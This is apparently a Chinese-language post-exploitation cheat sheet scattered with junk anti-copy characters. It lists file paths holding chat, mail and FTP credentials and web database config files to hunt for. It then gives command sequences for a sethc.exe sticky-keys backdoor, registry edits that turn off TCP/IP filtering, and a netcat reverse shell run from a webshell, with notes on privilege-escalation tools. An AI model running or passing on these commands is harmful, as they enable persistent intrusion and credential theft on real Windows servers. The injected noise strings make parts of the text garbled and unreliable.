/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
# ^* f; m# L! y; a. I9 Tc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
* v0 R7 K0 T: [+ l0 {c:\Program Files\Tencent\qq\Users\All Users\Registry.db
5 N8 _0 T9 I- ~; sC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
% ?  F$ Y3 k3 F4 F* [c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
; X! `. z! |  ?5 vC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
) `: Z0 m2 h; a5 ?6 EC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
  d" e3 f8 Y& G& LC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
6 r2 {" Y) p7 v5 _. \- MC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
  M- r* j+ ~  bc:\Program Files\Oracle\bin\regsvr32.exe
$ |1 m7 s0 D) ]! T$ ?c:\Program Files\腾讯游戏\QQGAME\readme.txt
- C: C' H6 c) @9 T" [c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
* J/ t7 r) d& B, _" L. Q& Gc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
0 |6 \0 _- U) V/ o7 B% F7 s5 r
3.网站相对路径:

7 a9 H/ \/ _, r0 B; X/config.php
../../config.php
1 I' S( _5 a4 j) s! E../config.php
../../../config.php
) x* q/ R4 K9 A' t4 f9 s/config.inc.php
./config.inc.php
' Q1 J) |9 U$ |$ s% e../../config.inc.php
: {) H! I, c: g- n# S; }6 k  p../config.inc.php
/ T: T3 W5 W6 ]- @../../../config.inc.php
/conn.php
./conn.php
../../conn.php
7 N5 K0 j9 p; {: j* F7 e4 Q../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
2 q$ _- |" \$ s  B" A  `& r../conn.asp
; c& m8 k/ R* D" L+ m0 e../../../conn.asp
/config.inc.php
% w) C; D/ j- ~$ }* r./config.inc.php
" Z% U" R0 M0 ?4 q! f../../config.inc.php
../config.inc.php
( V; n* A  c' L3 g( x+ v% j../../../config.inc.php
4 W/ [' o( h2 w+ C/config/config.php
, A5 i1 O) X0 i$ ~8 h* M" i0 j5 O' b../../config/config.php
../config/config.php
) h& S$ I! j) p" }; W; j../../../config/config.php
  g4 }- ~! U5 J# H. F/ @/config/config.inc.php
./config/config.inc.php
$ e( D( C1 _' b2 B% h, \../../config/config.inc.php
../config/config.inc.php
; K- Q8 Y- m9 w../../../config/config.inc.php
/config/conn.php
./config/conn.php
4 A$ L4 b7 w( }9 q" ]8 j7 f../../config/conn.php
8 M+ \! ^7 N) U; ]( N../config/conn.php
../../../config/conn.php
- e0 x  d: m$ a5 @/config/conn.asp
./config/conn.asp
% x+ A. m" s% ]2 h6 V../../config/conn.asp
../config/conn.asp
* x4 m3 ?5 g3 D* c5 [$ K3 N* S../../../config/conn.asp
, s" T* L- g$ P, a/config/config.inc.php
5 v# L. J) `; ?' Q& a9 x% j9 `) u./config/config.inc.php
../../config/config.inc.php
# e) w0 g* |) e9 r& v* z../config/config.inc.php
  e4 h* l+ z2 i/ a! S: W../../../config/config.inc.php
/data/config.php
../../data/config.php
  |" g/ C- @& d0 f; d. Y../data/config.php
4 J& a, Y( D) r7 W, m) Y../../../data/config.php
/data/config.inc.php
0 y- J& w0 a: z  b./data/config.inc.php
../../data/config.inc.php
+ ^8 s* V6 \. @2 B% m3 H3 ]../data/config.inc.php
../../../data/config.inc.php
9 @2 `9 C+ T5 Q2 T% `/data/conn.php
./data/conn.php
$ v) W  P* S9 z% I../../data/conn.php
9 k, s: c, K! b$ d0 x$ P3 D8 U+ `; \../data/conn.php
7 O  q3 D  E0 W9 |../../../data/conn.php
, _# N4 g" `% r  g4 W/data/conn.asp
9 A5 f/ n# S0 M1 k./data/conn.asp
8 N+ J- ^- F" T7 Z../../data/conn.asp
../data/conn.asp
! F& J% |# P. F0 h- U../../../data/conn.asp
% u( Y/ l& o' Y3 c2 R* H# j7 R" m: a/data/config.inc.php
4 N2 _% ?! Z# T3 X./data/config.inc.php
, f7 U  v% I8 q( j; \0 A../../data/config.inc.php
: z: C/ D  A; M/ L( m  }../data/config.inc.php
$ a6 ^$ Z; a7 ]../../../data/config.inc.php
/ x9 o" _0 f3 E+ n2 j  L) k" C/include/config.php
' C2 I' R- S0 s  Q0 T9 K../../include/config.php
  i: \5 |1 H. P# ?../include/config.php
../../../include/config.php
/include/config.inc.php
$ d3 o7 d4 e7 d1 s" {8 `& }2 V./include/config.inc.php
../../include/config.inc.php
# l/ L: h4 s0 D../include/config.inc.php
../../../include/config.inc.php
0 s3 Y# w; T+ y% ~/include/conn.php
./include/conn.php
& }& V! w8 f) t* O% `../../include/conn.php
../include/conn.php
+ x% ^8 L4 R2 C- F! R2 b../../../include/conn.php
' D: n% L1 V& \+ W3 I/include/conn.asp
) s& j" [& a2 a' ?( s3 D& l./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
% q+ H) O" ]% D: h8 G/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
4 W2 m) g: _4 D) r4 ?5 |2 j../include/config.inc.php
../../../include/config.inc.php
' M# i& W8 G* d' u+ h/ ]/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
7 U; ~: C5 R! B/inc/config.inc.php
4 y! i2 w2 b& R! n5 l9 w9 F+ g./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
) \8 E8 D" X. B) S: b3 D../../../inc/config.inc.php
: A- K  N  c6 ]/inc/conn.php
./inc/conn.php
% v0 z- r% ?) V( w9 P6 m6 _../../inc/conn.php
& ^7 A  {) Z0 j) M../inc/conn.php
../../../inc/conn.php
0 a3 ?4 X& H* ^+ s6 m  ^; J" J7 w/inc/conn.asp
./inc/conn.asp
9 v! u: Q! x& P9 S" o../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
% Z8 s- M9 k4 Y& n: j: Z/inc/config.inc.php
: u& w# {; s# J& A./inc/config.inc.php
7 \: N! k- A3 s) w( d$ j; M1 i0 P; A5 M../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
# ^! L5 h' x6 W( o- u+ S./index.php
../../index.php
../index.php
../../../index.php
4 n) G2 q! }, _3 o2 N/index.asp
./index.asp
../../index.asp
/ K$ P# h  d$ h  ~! {( c* ~: x  X../index.asp
../../../index.asp
替换SHIFT后门
7 ]$ k, O: ?$ D& R　attrib c:\windows\system32\sethc.exe -h -r -s
6 Q0 \9 Z$ q9 T! B; Z. B
  e1 K7 W% P) w1 B9 y4 G　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
0 y. B# c& g7 P0 U7 k+ \0 y1 v
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

  Z- ?+ f+ I: g$ M' X2 e5 l1 R" g　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
5 m0 z4 {& x) K1 V# QTCP/IP筛选在注册表里有三处，分别是：
8 m8 |' F1 T5 K7 THKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. m2 P0 t3 u4 K8 _3 y2 iregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
" S: k( K! }4 X' Wregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
% m* d' ]* V- n, }
. C. P4 f# ~' ]+ a再将以上三个文件分别用
. E) A6 c  b; ?" ~1 I* ^5 rregedit -s D:\a.reg
. n4 e/ c8 |1 `# I8 w! J7 \) kregedit -s D:\b.reg
3 [/ N% ^- _: p  l3 @7 T) i. T  Cregedit -s D:\c.reg
! b1 _+ b. c5 M, Z) ]1 n$ [- r导入注册表即可

webshell提权小技巧
  P7 v: R9 P. w6 B/ G$ ?& Gcmd路径:
; ^. d: j. J( R: Xc:\windows\temp\cmd.exe
* y% {9 J# p( Dnc也在同目录下
! n3 d# \( A& e2 w7 ]例如反弹cmdshell：
2 b' t: f+ }" U( @"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

: T* |6 z# u* Y  ^& L6 o而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
7 F6 @5 D7 a; G命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
. E3 ]# n- l4 d- z. s3 f/ ~却能成功。。
) G/ H* G0 s: C6 t+ @3 \, _这个不是重点
: w6 R. }7 E4 b) ^$ F我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功